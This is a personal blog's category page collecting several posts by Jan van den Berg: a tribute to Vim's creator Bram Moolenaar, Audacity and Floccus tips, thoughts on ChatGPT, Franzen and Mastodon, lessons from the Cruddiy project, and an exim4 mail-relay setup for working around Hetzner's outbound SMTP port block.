Jan van den Berg

j11g.com

Category: Favorites

  • The Legacy of Bram Moolenaar

    The Legacy of Bram Moolenaar

    This weekend we learned that Bram Moolenaar had passed away at the age of 62. And this news affected me more than I expected.

    Like so many: I did not know Bram personally. But I’ve been using a tool made by Bram for more than half my life — at least weekly, sometimes daily.

    That tool is a text editor. The best one there is: Vim.

    Bram Moolenaar (source: Wikipedia)

    Vim

    For those wondering: a text editor, what’s so special about that?

    Vim is not like any other piece of software. Vim is a special piece of software. The most apt description I could find is this one:

    Vim is a masterpiece, the gleaming precise machining tool from which so much of modernity was crafted.

    This description is not a hyperbole.

    Vim is the tool that was there when software took over the world. When modernity was created — i.e. everything we owe to computers — Vim was there.

    An essential tool to all of it.

    Like a power-drill, hammer or screwdriver, Vim is also a tool. A means, not an end. And a specific tool you must learn to use.

    And undoubtedly, various alternatives exist, yet Vim sets itself apart as a true precision instrument that, in the hands of adept users, has the power to craft exquisite and practical creations while eliciting immense pleasure and fulfillment in the process. Much like a skilled carpenter or watchmaker equipped with an array of specialized tools, Vim caters to those who engage earnestly with computers. Its seamless functionality and versatility provide a deeply gratifying experience, granting users the ability to shape their digital work with finesse and artistry.

    Another way to describe Vim is that Vim is a programmable editor. It’s the editor that you give commands — i.e. that you program — as you program.

    When you learn Vim, when you use Vim, when you create with Vim; it becomes an extension of you. It’s a way of working, but more importantly: a way of thinking. Being sufficient in Vim is being able to almost work at the speed of thought. In a way, Vim is the closest thing to a neuralink we have.

    But this post is not about Vim (I highly recommend this video if you want to learn more), this post is about Bram.

    Bram

    Bram worked on Vim almost daily for over 30 years. Constantly tightening and improving it. An almost unprecedented achievement. A true labor of love.

    And you notice this when you use Vim. Everything works smoothly, it is fast and rock-solid. I can’t remember a single time in over 20 years when Vim froze or crashed.

    Vim, like many successful innovations, owes its origins to the contributions of those who came before. It stands on the shoulders of giants. It began as an imitation, derived from a port of a clone based on an idea by Bill Joy. However, Bram Moolenaar emerges as the true architect of Vim’s triumph and the evolution of vi-like editors. Bram is the giant on which they stand.

    Through Bram’s skillful craftsmanship, Vim has become an unparalleled piece of software that brings immense joy and satisfaction to its users. I vividly recall a moment 22 years ago when I had to ask someone how to close the editor, and the memory of that initial blush of shame has not faded entirely. And, even today, I find myself continuously discovering new features and capabilities in Vim, a testament to its rich and ever-expanding potential.

    Bram gave the world something very rich and powerful.

    And, Bram never asked for a penny for this. What Bram asked (at most) was to donate something, anything, to his foundation: ICCF Holland. In previous Vim versions, you would sometimes also see this friendly request when you started Vim.

    Vim’s code is open and free in the traditional sense, and Vim can be considered charity-ware, with its own license (which is compatible with GPL and more).

    And what all these little facts tell you is maybe all you need to know about Bram.

    And everything I’ve read over the past few days — here, here, here, here and here  (and many more places) — about Bram confirms this image.

    The image of a hyperintelligent, dedicated, and selfless human-being.

    Someone who has made a major impact on the world of computer science.

    A Mensch.

    Someone who liked to share.

    (When I think of Bram I always think of his personal site where he shared his photos.)

    Sad

    Perhaps all these things add up to why it hit me when I read the news that Bram had passed away. In the message, his family made it clear that Bram was ill (‘a medical condition that progressed quickly over the last few weeks‘). This was unknown to most people and made the news all the more surprising.

    And it made me even sadder when someone pointed out Bram’s recent GitHub activity.

    Source

    The activity slowly fades away. It’s like a bright light went out and no one noticed.

    Bram’s legacy

    Vim is so intertwined with everything I do that I never doubted for a second that I can continue to use Vim. But when you see the GitHub activity, you can’t escape the thought that Vim was Bram and Bram was Vim. And Bram was of course the Vim BDFL for a reason.

    When someone like Ian Murdock passed away, there were clear structures in place that never put Debian in jeopardy. And when Linus Torvalds dies, I expect it to be the same.

    But is that also the case with Vim – Bram’s life work? I read on the mailing list that a number of longtime contributors will continue Vim. Of course. But what strikes me is that even those people — who were so close to the project — did not know about Bram’s medical condition. That must have been Bram’s deliberate choice and let’s respect that. But it does raise questions about the future of Vim.

    Time will tell what happens next. But one thing is certain. Vim is not going away. And Bram’s legacy is not a GitHub activity chart. Bram and Vim’s spirit are everywhere. Whether it is in new emerging editors or in the letters j and k that you show up in all kinds of unexpected places. Vim, the way of working, the way of thinking — the programmable editor — is an extremely powerful and valuable idea. One that’s been perfected by Bram and captured in the form of an almost perfect piece of software honed over 30 years. And even if Vim were to disappear, which I don’t expect, that idea is certainly not going to disappear. And that is Bram’s legacy.

    If you want to: please contribute and donate what you can in memory of Bram Moolenaar.

  • Audacity Tips

    Audacity Tips

    This is a public note to myself for working with Audacity; which I don’t do too often, and I want to make sure I don’t forget it.

    I recently created a 5 hour music project: a DJ radio show.

    The finished project, it has 5 tracks with multiple audiofiles per track

    What I need from Audacity is:

    • Copy and paste audiofiles together (cut, split, trim files): easy enough. Audacity is very intuitive for these kinds of things.
    • Have a bit of backgroud music (jingles/tunes) over someone talking: so align or layer tracks.
    • Fade tracks in and out.
    • Export to one big file.

    That’s mostly it.

    Audacity is a very powerful tool, but also great for just these few things.

    Tips

    The biggest challenge when working with different audiofiles are volume differences. So most of these tips revolve around making sure the volume is correct.

    Do not use the GAIN slider!

    Firstly: do NOT use the gain sliders (at the beginning of each track) to adjust volume. This will bite you in the butt later. Especially when you have lots of different audiofiles on one track (which I have).

    Do not touch this slider!

    This might work if you have maybe one or two tracks. But in my case, adding different audio files (with different volumes!) to the same track; the gain slider becomes useless. This is the reason I five tracks, I used the gain slider on one of the tracks in the beginning. I later found out that this was a dumb move and it was too much work to retweak the volume of the audiotracks, so I left the gain as it was, and started a new track.

    The tip is: use effects to change the volume of audiofiles!

    Note: For all of the effects to work you first need to select (part) of a track or audiofile.

    Effects: Amplify

    Amplify voice tracks (especially), and always use the recommended setting. Audacity knows how much it can amplify. Do this.

    Under Effect -> Volume and compression.

    Effects: Compressor

    Compress with -30 / -60 / 3:1 / 0.10 / 1.0. I picked these settings up from here.

    This will top off peaks, and boost your voice tracks to a maximum for much louder and clearer sound.

    Under Effect -> Volume and compression.

    Effects: Fade-in / Fade-out

    Use these to fade tracks in and out. Or crossfade tracks.

    Select part of a track and select either In or Out.

    Use longer or shorter stretches, listen to what sounds right.

    Effects: Normalize

    If you want to reduce volume, use this. Play around with the setting. Again: do not use the gain sliders. The great thing is (as with most effects) you can use it on parts of an audiofile. Just select the part you want to normalize or amplify.

    Also: see the Envelope Tool below (I did not know about this tool after finishing my project).

    Export to MP3

    I use the default settings. Audacity does the mix for you when you export your project (File->Export->Export as MP3). So I don’t mix everything down to one file before exporting (Tracks->Mix), there is no reason and you can’t really tweak your project anymore afterwards.

    Overall Audacity does a good job of creating a good mix.

    Things I later learned

    After I finished the project I was pretty happy with the result but I picked up two new tips from this great YouTube video:

    I have not used the next two effects, but for a next project I definitely might.

    Effects: Auto Duck

    Duck part of a track so the volume is lower. Great for voice-overs.

    Auto Duck

    Envelope Tool

    With the Envelope Tool (F2) you can drag and slide the volume of an audio file. Amazing.

    Envelope Tool

    One thing I wish I knew

    Audacity is really good, I love it. There is one thing however — I am pretty sure there probably is a shortcut for — but I have not figured it out yet.

    When cutting an audiofile at the end or beginning (which I did a lot near the end of the project), the length of the audiofile shrinks and the audiofile MOVES to fill the newly created gap! But every other track/audiofile after does not move. So I wish I knew how to automatically move ALL tracks and audiofiles over to fill the newly created gap all while keeping all the tracks correctly aligned.

    What I do now is (after the cut) select everything (with my mouse) and move it to fill the gap. Seems there should be an easier way to do this.

  • Floccus is the bookmark manager you have been looking for

    Floccus is the bookmark manager you have been looking for

    Floccus does exactly what you want because Floccus doesn’t break your bookmark management flow.

    The flow being: adding, changing, removing, moving bookmarks *in* your browser, straight from the bookmark bar and with the shortcuts you already know.

    Because Floccus is nothing more than a browser extension.

    Screenshot of the Floccus Chrome extension

    How does it work?

    Floccus is actually not a bookmark manager — because your browser does that already!

    FLOCCUS IS JUST A SYNC TOOL.

    Floccus periodically makes an .xml file of all your bookmarks (the bookmarks, the bookmark folders, the positions etc.). All the bookmarks that you see on your bookmark bar.

    And the MAGIC is that it stores and syncs this file on a central location: WebDav, Nextcloud or Google Drive (I use this).

    It works like this.

    You connect Floccus extension to your Google Drive on one browser, this is your Floccus account. Now you can export this account (a json file) and import it on all your other browsers.

    Import and export screen: a one time setup

    The Floccus extension that sits in all your browsers does nothing more than periodically sync this file and merge changes (when necessary): new bookmarks or deletions will sync to all browsers because the Floccus extension “manages” the bookmarks (based on the xml file).

    That’s it.

    It’s so elegant and simple that at first I didn’t get it. Sure there are options available for sync behavior, sync interval, folder mapping, setting a passphrase and more. But for most people the defaults are fine.

    I use Floccus to sync two browsers (Brave @ work and Chrome @ home) and I absolutely love it! All my bookmarks are available on any browser I use (Chromium, Google Chrome, Mozilla Firefox, Opera, Brave, Vivaldi and Microsoft Edge are all supported).

    Floccus is the bookmark “manager” I have been looking for!

  • I don’t understand terminals, shells and SSH

    Confession time: I don’t fully understand how terminals, shells and SSH really work (and my guess is you don’t either). And I don’t mean the cryptography behind SSH. I mean how SSH and the terminal — and the shell for that matter — interact with one another.

    I recently realized that even though I’ve been daily remotely logging into Linux systems for all of my adult life (and type in the shell and Vim) I didn’t really grasp how these things actually work.

    Of course I conceptually know what a (virtual) terminal is (entering input and displaying output) and what the shell is for (the interpreter). And SSH is the remote login protocol, right? (Or is SSH a pseudoterminal inside another pseudoterminal, who’s to say)?

    The distinction between these three elements is a bit fuzzy and I do not have a clear concept of it in my head. The test being: could I draw it on a whiteboard? Or: could I explain it to a novice? The answer is probably: not really.

    So I went on a bender and found these four (well-known) links that explain things like tty, rawmode, ptms/ptx, pseudoterminals and more.

    This post functions as a bookmark placeholder. I will add more links when I find them.

    There’s lots of information here if you’re interested. And of course: you mostly don’t actually need to know any of these things to do your work — we are all forever standing on the shoulders of giants. But I *want* to understand these things. And I think I understand them a little bit better now. Maybe you will as well.

  • ChatGPT and humans as prompt fodder

    ChatGPT and humans as prompt fodder

    I woke up Sunday morning with an unnerving feeling. A feeling something had changed. A disturbance in the force if you will.

    I know that look

    Mainstream media seems blissfully unaware of what happened. Sure, here in the Netherlands we had a small but passionate demonstration on primetime TV, but e.g. the NY Times so far has *nothing* 🦗🦗

    But something most definitely happened. My personal internet bubble has erupted the last few days with tweets and blogposts and it was the top story on every tech site I visit. I have never seen so many people’s minds blown at the same time. It has been called the end of the college paper as well as the end of Google. Things will never be the same. Or so they say.

    Top three

    I am of course talking about ChatGPT by OpenAI it is based on GPT-3. It’s not AGI, but it’s definitely a glimpse of the future.

    This post is to gather some thoughts and …. to test this thing.

    When GPT-2 came out a few years ago it was impressive, but not in an earth shattering kind of way. Because you could still place it on a scale of linear progress. That this thing existed made sense. And it was mostly fun and also a bit quirky. People experimented with it, but the hype died down soon enough iirc. This was however the prelude.

    GPT-3 was already lurking around the corner and promised to be better. Much better. How much? From what we can see now in the ChatGPT implementation the differences are vast. It is not even in the same ballpark. It is a gigantic leap forward. To justify the difference with GPT-2, GPT-3000 would be a better name than the current name.

    GPT-3000

    Deceptively mundane start screen

    The impressiveness is twofold:

    • The correctness. ChatGPT all feels very real, lifelike, usable or whatever you want to call it. The quality of output is off the charts. It will surpass any expectations you might have.
    • The breadth. There seems to be no limit to what it can do. Prose, tests, chess, poetry, dances (not quite yet), business strategy analysis, generating code or finding errors in code or even running virtual machines (!?) and simulating a BBS. It can seemingly do anything that is text related; if you are creative enough to make it do something.

    Sure it’s just ‘a machine learning system that has been trained to generate text and answer questions’. But this goes a long way (of course there are also critical voices).

    And for the record: I was surprised by a lot of examples I saw floating online. Even though I shouldn’t have been.

    Unlike any other technology that came before, GPT-3 announces loud and clear that the age of AGI is upon us. And here is the thing; I don’t know how to feel about it! Let alone try and imagine GPT-4. Because this is only the beginning.

    GPT-3 is proof that any technology that can be developed, will be developed. It shares this characteristic with every other technology. But there is another famous human technology it shares a specific characteristic with i.e. the atomic bomb. The characteristic being: just because we could, doesn’t always mean we should.

    This guy knows

    But alas, technology doesn’t wait for ethics debates to settle down.

    And now it’s here, let’s deal with it.

    First thoughts

    I am no Luddite, though I am very much a believer that new things are not necessarily better, just because they’re new. But with GPT-3 I do feel like a Luddite because I can’t shake the feeling we are on the brink of losing something. And in some cases — within a matter of days — we have already lost something; which was ultimately inevitable and also happened extremely fast.

    Me?

    People have always been resistant or hesitant when new tools arrive. Take the first cameras — or decades after those, the digital cameras — instead of seeing possibilities, people initially felt threatened. Which is a very human reaction to new things that challenge the old way of doing things. It’s the well-known paradoxical relation we have with innovation of tools. Paradoxical, because in the end the new tools mostly always win. As they should. Tools are what makes us human, it’s what separates us from almost every other living being. Tools pave the way forward.

    And this is just another tool. Right?

    But here is the crux. Somehow this seems to be more than just a tool. The difference being that the defining characteristic of a tool is that it enhances human productivity and GPT-3 seems to hint at replacing human productivity.

    Decades of hypothetically toying and wrestling with this very theme (i.e. can AI replace humans?) in sci-fi has all of a sudden become a very real topic for a lot of people.

    No, I do not think it is sentient. But it can do an awful lot.

    The future belongs to optimists

    Let’s try and look at the arrival of GPT-3 from an optimistic perspective (yes, this could be a GPT-3 prompt). My optimistic approach is that GPT-3 (and AGI next) will force us to make us more human. Or even better: it will show us what it means to be human.

    Because GPT-3 can do everything else and do it better (for arguments’ sake lets just assume that better is better and steer away from philosophical debate about what better even means).

    GPT-3 will cause the bottom to fall out of mediocrity, leaving only the very best humans have to offer. Anything else can be generated.

    So what is that very best that makes us human? What is it that we can do exclusively, that AGI can never do? What is so distinctly human that AGI can never replicate it?

    One of the first things that came to mind for me was whether AGI could write something like Infinite Jest or Crime and Punishment. Literature. Earthshattering works of art that simultaneously define and enhance the human experience. Literature in my opinion is the prime example of the ultimate human experience. Could AGI … before even finishing this question: yes, yes it could.

    Is that a bad thing?

    What we’re seeing is the infinite monkey theorem in action. AGI can and will produce Shakespeare. The data is there. We have enough monkeys and typewriters.

    Not a typewriter. But you know the scene.

    As long as you feed it enough data it can do anything. But who feeds it data? Humans (for now). I am not ready to think what happens when AI starts to talk to AI (remember Her?). For now it feeds and learns from human input.

    What are you smiling about?

    Maybe AGI is where we find out we are just prompt fodder and humans are not so special after all? Maybe that’s why I woke up with an unnerving feeling.

    The proof is in the pudding

    Or maybe, it is because ChatGPT could enhance everything I have written so far and make it more clear and concise.

    Because it definitely can.

    Of course I tried this and it gave the following suggestions.

    First part

    The blog post was too long so I had to cut it in two parts.

    I agree

    Second part

    The first paragraph here is actually the eight etc.

    This is good advice

    I have chosen to keep the original text as-is with the screenshot suggestions so you can see the difference.

    It is really good. What more can I say?

  • Jonathan Franzen on reading and literature

    I’ve been on a bit of a Jonathan Franzen bender lately. I frequently write about him on my other site. The kickstart for all this was a book club meeting about Crossroads for which I not only read the book, but also watched and read a dozen or so Franzen interviews. Older and newer interviews.

    What really struck a chord with me was not so much the specific Crossroads discussions in these interviews, but the things Franzen says about reading and literature in general.

    And I noticed similarities in interviews that are sometimes decades apart.

    I created a supercut video of two specific Franzen interviews that are 20 years apart. In this video a younger and older Franzen talks about reading, literature and love. See if you can spot the commonalities.

    David Foster Wallace kicks off the video (who else?). If you didn’t already know that Franzen and Wallace were friends you can tell by just watching them converse. It’s a delight.

    In the YouTube description I also link to the two original videos, which are much broader and interesting in their own right (do watch them!) but this supercut specifically highlights ideas Franzen has about reading and literature.

    Here is a list of questions (one of these is rhetorical*). The questions serve partly as a videoguide as they are answered in the video. But you can also try and discuss them beforehand, or even after watching the video (e.g. for your own book club).

    Questions

    • What good is reading anyway? Why read?
      • What does Wallace say about it, what did Franzen’s mother say about it (fiction)?
    • What are we missing nowadays (according to Wallace)?
    • Are people that read “a priori not of the mainstream”? How do you feel about that?
    • Do you have examples of a text where: the more you look at it, the more you find in it?
    • Should reading be entertaining, what does ‘entertainment’ mean?
    • What is the only driver of change (according to Franzen)? Do you agree or not (if so why)?
    • What should come first in literature (according to Franzen)?
      • How does this match up with what Wallace says about this?
    • Will the power of technology be so strong that fewer people will able to find a private space in which to develop a relationship with books?
    • What is love other than pleasure in the company of?*

    The video ends with 2016 Franzen making remarks about technology. Remarks that perfectly tie in to what Wallace — in 1996 — says at the beginning of the video about the influence of technology on reading.

    Here is the video:

  • Welcome to the Fediverse

    Welcome to the Fediverse

    It was 2017 when I signed up for the Dutch instance of Mastodon. The newfangled thing. But it wasn’t until last week that it *clicked*.

    It clicked for two reasons.

    Forget the Metaverse

    Mastodon is part of the fediverse. Meaning it shares the core principles of the fediverse. With a little bit of reading, I got a better understanding of what the fediverse actually is, and how Mastodon fits in.

    https://axbom.com/fediverse/

    The idea is as old as it is clever. And it really is clever.

    Technically the fediverse “is a collection of community-owned, ad-free, decentralised, and privacy-centric social networks“.

    Let’s expand the explanation with an emphasis on what this means for a user:

    The fediverse is a collection of community-owned, ad-free, decentralised, and privacy-centric social networks where a user can create a personal account on any specific instance but can connect to everyone else on every other instance.

    Distributed instances is the key idea here.

    The fediverse has many applications. There even is a reading sharing application (why didn’t I think of this?). But for now let’s focus on Mastodon. The fediverse microblog equivalent. Every user on any Mastodon instance can connect to any other user on any other Mastodon instance (mostly). And all these instances are run by different people.

    Just like email

    The best analogy might be email. You can roll your own email server, use your company’s email server, or Gmail or Outlook or what have you. But — and this is important — you can send and receive email to and from anyone with a valid email address.

    Just like you can with a Mastodon address, powered not by SMTP but the ActivityPub protocol.

    The idea is brilliantly simple, and it is how the internet is actually supposed to — and always used to — work and it has lots of upsides.

    Upsides

    Instances are run by individuals or groups who set their own rules. And thus every instance has a unique user experience or feel. There are many specific instances with distinct communities.

    There is (theoretically) no real technical limit to the amount of users an instance can have*, but my guess is that most instances will top off somewhere to keep the instance manageable and moderation feasible. Just like most real life communities.

    Because moderation is done per instance (implicitly by rules, explicitly by blocking users), this makes moderation distributed by default and thus scale-able. Did I mention it was clever?

    *I would like to suggest Dunbar's number to the power of two: 22500 users per instance.

    Open

    Mastodon is open. In the realest sense. And I love the open web.

    Everything on Mastodon is open and uses RSS: accounts, hashtags and more all are expressed as RSS feeds. I just love love love that part.

    The openness comes with great upsides:

    There is no ad-driven algorithm.

    Don’t like the moderation rules on your instance? You can move your account to another instance.

    Want to see the source code? Here you go.

    Want to run your own instance? You do you!

    Momentum

    Apart from not really understanding the fediverse, the other reason it didn’t click in 2017 is because no one I knew was there. Kind of important for a social media platform. But this classic chicken-egg problem got a gigantic kickstart with the recent influx as a result of the exodus from that.other.site. And Mastodon finally seems to have hit critical mass: there are enough people to make it interesting, thus attracting even more people. It really has come alive in the last few short weeks.

    There are lots of curious people checking out the new thing, of course time will tell how many will stick around. And compared to other social media sites, the numbers are still really small, but gaining!

    However I would think the end goal of Mastodon should (and is) not necessarily a question of replacing Twitter. Both will most likely co-exist — 44 billion dollar usually doesn’t evaporate just like that. But having Mastodon makes the world that much better, and it gives the users a choice.

    I don’t think it is necessarily that people are fed up with new Twitter leadership (it’s only been a week, right?), but I do believe people are fed up with the Twitter experience in general drawing them to — finally viable — alternatives likes Mastodon.

    And most of these experiences are things that Mastodon implicitly or explicitly addresses. Things like: moderation, accountability, community, ownership and resiliency.

    But I also notice lots of Twitter people — mostly with large followings — are hesitant. I follow quite a few US tech people, and most seem bullish on Musk. Few are not. We’ll see.

    But apart from that there are other challenges.

    Challenges

    Let’s name a few.

    • Usability: Signing on, using Mastodon, understanding the Mastodon/Fediverse idea, finding and adding accounts. It’s not entirely intuitive, and thus a barrier.
    • Performance: call it growth spurts. But most Mastodon instances are suffering greatly at the moment, hindering the user experience.
    • Security: the openness also brings challenges!
    • Twitter: IF (big if) Twitter somehow is able to address some of their issues this would provide a big pull force.

    This all being said the main challenge at this time seems to be:

    • Discoverability: where is everyone, where are interesting accounts, where are the people I know?

    Mastodon needs to do better than sharing spreadsheets for finding interesting accounts. But I do understand that this is the paradox of the open web. Having open, distributed content hinders discoveribilty (also see: podcasts).

    Either way, the distributed character of Mastodon makes it here to stay. The only way is up for the foreseeable future. It’s pretty great to finally have an open, distributed real application, that is not blockchain.

    Eugene Rochko

    I would like to point out something. Mastodon is the project of one person. Started in 2016. Sure lots of people hatched on since, but to me it is indicative.

    Most revolutions start with one person. They might not be the first or their idea might not be original. But timing, the right decisions and right personality are usually what tip the scales in these types of events. Also see: Linus Torvalds.

    It seems Eugene is a true Mensch. Working many hours a week providing great software for a moderate salary (people working on Google ads make 20 times that).

    https://mastodon.social/@Gargron/109260715240000670

    A person with his talent could easily work somewhere else and make more money. But it is obvious he is not in it for the money.

    And it is obvious he has thought longer and more about certain things than most people.

    If you allow the most intolerant voices to be as loud as they want to, you’re going to shut down voices of different opinions as well. So allowing free speech by just allowing all speech is not actually leading to free speech, it just leads to a cesspit of hate.

    Eugen Rochko in Time

    It’s not just the software that makes the difference. It’s the people making the software that do.

  • Reaching 100 stars on GitHub: what I learned from putting code online

    When the pandemic started in early 2020, I needed something to get my mind off things. Frustrated with most database form generation solutions I created Cruddiy and put it on GitHub.

    Two years later Cruddiy reached 100 stars on GitHub. Something which I did not expect.

    We could argue a long time on what a GitHub star as a metric actually represents, but for this post it represents: hey, more than one person had a need for this thing.

    brave_2022-03-24_09-39-06.png (827×161)

    Cruddiy is a small collection of PHP files that you point to your MySQL/MariaDB database and you run it (usually) just once and after a few steps/questions — no coding required — it will generate a set of pretty good looking PHP forms for you — usually one per table. The generated forms have basic CRUD functionality, search, pagination and sorting. The forms are based on Bootstrap and you have seen these forms a million times before. You can use them as they are, or use them as a starting point i.e. scaffolding to further improve on (coding required). And here’s the good part: you can delete Cruddiy when you’re done.

    Cruddiy output

    Simple?

    Most developers reading this will probably now scream say: hey, but you can use framework X or framework Y! And yes, this is true and I have used and done all of that. But I do not like installing a ton of dependencies to generate just a few simple PHP files (which they are): and this is more or less always the case. Read the original post for more background.

    So Cruddiy is my attempt to keep things as simple as possible.

    I am allergic to pulling in lots of files and folders that clutter my system, especially when I don’t know what all these files do. So Cruddiy does not use Composer, Laravel, Symfony, Docker, or other dependencies. Nothing of the sort. It’s just plain PHP files, that generate other PHP files.

    Cruddiy was created to scratch my own itch, and I have used it several times since. But judging by the number of GitHub stars and comments and thank yous I received I think it’s an itch for more people. Part of the reason I put it on GitHub is because I spent more time on it than was probably warranted, and I wanted an excuse to warrant the invested time. Cue famous XKCD comic:

    is_it_worth_the_time_2x.png (1141×927)

    So putting the code on GitHub is a way to shave more time off — other people’s time, but still: time.

    Also another XKCD comic comes to mind:

    automation_2x.png (807×817)
    This one hits close to home.

    Cruddiy is a small project in every sense — in lines of code, number of commits, number of contributors, and number of GitHub stars –, but still, through Cruddiy I experienced the magic of people on the other side of the world, finding and using something I created. The internet is amazing.

    Here are some things that I picked up by putting things out there.

    1. Opinions

    Everyone has one, right? I was excited when I received the first patches from a complete stranger and pulled them in, thinking how amazing this was. However this person was very opinionated how things should work, which bothered me a bit. And he talked to me like I worked for him. But I didn’t pay too much attention to it, I thought maybe this is how it works?

    But when Cruddiy stopped working correctly and had some other weird bugs I removed most of his code and decided: you can fork Cruddiy however you please, but this codebase here is how I want things. And there is absolutely no obligation for me to pull in your code, especially code that fundamentally changes how things work. (It still bothers me a bit that he proposed to move the code to a different folder. I might still revert this).

    It was a hard lesson because I had already developed a bit more based on his code so reverting wasn’t very straightforward and involved some Git tricks that I never want to use again.

    I still find it weird, that I just blindly trusted someone and his opinion purely because I was so surprised that other people had an actual use for Cruddiy. But if I had kept at it Cruddiy would have probably withered (being broken and all) and ended up being unusable.

    One of the key takeaways here is: something might be open source but you still need people to take care of it e.g. make important decisions for it, it will not survive on its own because there are too many opinions out there. And preferably that person should be you. This is true for arguably the biggest distributed software project in the world — Linux — right down to a very small project like Cruddiy.

    That being said, the above example was of someone being opinionated i.e. rude. But a lot of people seem to have a strange way of asking for things. Please spend some of your valuable time fixing this and that for me, kthxbye.

    Great ideas! But maybe send a PR?

    2. Audience

    Judging by the level of questions and requests I receive, I noticed the average Cruddiy user isn’t a computer programmer.

    And this is expected, since Cruddiy is a no-code solution.

    I do however find it somewhat baffling that there are people who find their way around GitHub without either having a decent understanding of code or Git/GitHub.

    Case in point: I had contact with someone who had good ideas — and who sent me actual codepatches, which I merged. But this person did not know how to use git or GitHub. Which is … surprising, to say the least!

    This person also asked if I had a Discord server (!?) which he found easier to communicate by than e-mail.

    This tells me a couple of things:

    1. GitHub is much more than a code sharing site, it’s also where people go for solutions sans Google.
    2. There is still so much to win for GitHub, it’s not simple enough yet. Make it simpler to use and more people will use it.
    3. Discord is successfully replacing e-mail for some people.

    3. Licensing

    I started Cruddiy under GPL2, because, well why not? Lots of projects use GPL2.

    However I did some reading and switched to AGPL-3.0 License, I think it is important to share changes. However: I was and am still not sure if Cruddiy fits the AGPL bill: is it really a networked piece of code (isn’t everything on GitHub in a sense a piece of networked code)?

    I am no license expert, and might be wrong about this interpretation but I see AGPL-3.0 as GPL3.0 with an add-on.

    The lesson is: think about what license your code should have before putting it out it online.

    4. Releases

    This was one of the more surprising learnings. Usually when I pull code myself from GitHub I always look for the latest commit. But this is not normal?

    Early on I created some tags and based one or two releases on these tags. Just to play around with tags and releases. It wasn’t until later when a user had some weird errors that I found he was using a very old release. Why? Because it was the only release available and that is were people look! Duh…

    So now I make it a habit to tag commits and release the tag.

    5. GitHub quirks

    There are two:

    1. This is a possible GitHub caching thing, but I noticed I always get a flurry of stars, then weeks nothing, then again a flurry of stars. Nothing particular about this, just strange behavior that might have something to do with caching.
    2. I have NO idea how people find Cruddiy: there is no Google analytics. Do they find my blog first and then GitHub or the other way around? I would have like a bit more insight into this.

    6. Energy

    Most of the work I put in Cruddiy was at the start (a good chunk of my evenings for a couple of weeks). The project is still only 60 commits old (again; very small). There are many more ideas Cruddiy *could* do, but which *I* don’t need now. So this means things stay mostly as they are.

    I notice when people point out bugs: I am driven to fix these. But pro-actively sitting down and adding new features is not something I do. I maybe could, but I don’t. I need a real use-case for it. Last week I added a navbar solution, which greatly improves the visual of Cruddiy, but this was only because someone showed me he hacked a navbar on top of Cruddiy, which drove me to incorporate it in Cruddiy that same evening.

    7. Looking at your own code

    I am not a professional developer. That is not my day job. So most software projects I embark on are either small or ephemeral. Cruddiy however has forced me to look at code that I wrote up to two years ago, and yes everything they say about writing clear code is true. Here is what I found:

    1. Don’t try to be clever, first and foremost: make it clear. So future you might understand what it is you were trying to do.
    2. Write code as if you’re explaining to someone else (again: that someone else is future you).
    3. Don’t think you don’t need to comment code because it makes sense by itself: comment code!
    4. Less lines of code is not always better. Do not trade clearness for conciseness.

    Putting code out there

    I do not feel obliged (anymore) to adhere to every wish out there. But I do want things to work as I promised. So I have to admit it also gives me a bit of anxiety when people have errors or bugs and I can’t take over their keyboard, I have to guess at their config/setup, which bothers me a bit. Just as it bothers me when I try and help people and never hear from them again.

    Also I don’t think I have become a better developer, if anything it may have been detrimental to my skills: since wanting to fix things quickly doesn’t necessarily produce the best code.

    But these are all minor inconveniences. They do not weigh up to the sheer enjoyment I get from the idea that someone, somewhere out there is using something I made to help solve a problem.

    So if you have the choice: put your code out there!

  • Bypassing Hetzner mail port block (port 25/465)

    I recently switched my VPS from Linode to Hetzner. I got more CPU, RAM and storage for less money. Pretty good right?

    However it wasn’t after I migrated that I found out Hetzner blocks all outgoing port 25 and 465 traffic.

    At least; for the first month for new customers.

    This means my new server cannot talk SMTP with the rest of the world i.e. my server cannot send mail!

    (Note: you can however connect to mailservers that listen on port 587).

    I can see why they would do this, however this is less than ideal if you have a production server with a couple of webshops.

    So, now what?

    My server cannot send mail itself but it can also not connect to a smarthost (a different server that does the mail sending), because smarthosts are typically also on port 25/465.

    I do however have a Raspberry Pi in my home network. What if I run a mail server on a different port there, say 2500?

    So, my VPS can relay the mail there. But I don’t want my Pi to be connected to the internet and send mail. So then what? Why not relay from the Pi to an actual smarthost. Which smarthost? Well my ISP offers authenticated SMTP so I can relay mail from my VPS to my Pi and from my Pi to my ISP. And my ISP can send the mail to anywhere.

    This could work.

    The setup

    This is what it looks like.

    There are two mail server configurations in place. I use exim4 on Debian and you can easily run dpkg-reconfigure exim4-config to (re)create a valid Exim config.

    This command will (re)create a file which holds all specific Exim configuration: /etc/exim4/update-exim4.conf.conf

    It’s a small and easy to understand file. Here follow the complete contents of both files, for reference.

    Hetzner VPS exim4 config

    dc_eximconfig_configtype='satellite'
dc_other_hostnames='topicalcovers.com;brug.info;piks.nl;j11g.com;posthistorie.nl;server.j11g.com'
dc_local_interfaces='157.90.24.20'
dc_readhost=''
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='212.84.154.148::2500'
CFILEMODE='644'
dc_use_split_config='false'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'

    Note: use a double semi-colon to specify a mailserver that listens on a different port.

    Raspberry Pi exim4 config

    dc_eximconfig_configtype='smarthost'
dc_other_hostnames=''
dc_local_interfaces='192.168.178.135'
dc_readhost=''
dc_relay_domains='posthistorie.nl,topicalcovers.com,piks.nl,j11g.com,server.j11g.com,willempasterkamp.nl'
dc_minimaldns='false'
dc_relay_nets='157.90.24.20'
dc_smarthost='mail.solcon.nl'
CFILEMODE='644'
dc_use_split_config='false'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'

    For this to work you also need to edit your file /etc/exim4/passwd.client with the a valid mailboxname and password:

    mail.solcon.nl:authorizedmailboxname:pa$$word

    Or use an asterisk ( * ) to use the credentials for every mailserver. If you (only) use a smarthost, this is fine.

    SPF records

    The above configs are what you need to do on your Hetzner VPS and your Pi. Next, you need to change your SPF records.

    The SPF records tell the receiving mailserver that the sending mailserver is allowed to relay/send mail for a specific domain.

    As you can tell I have multiple domains, so that means editting multiple SPF records. Here is what one SPF records looks like. This is public information, anyone can (and should) look up your domain SPF records.

    This is the raw SPF record:

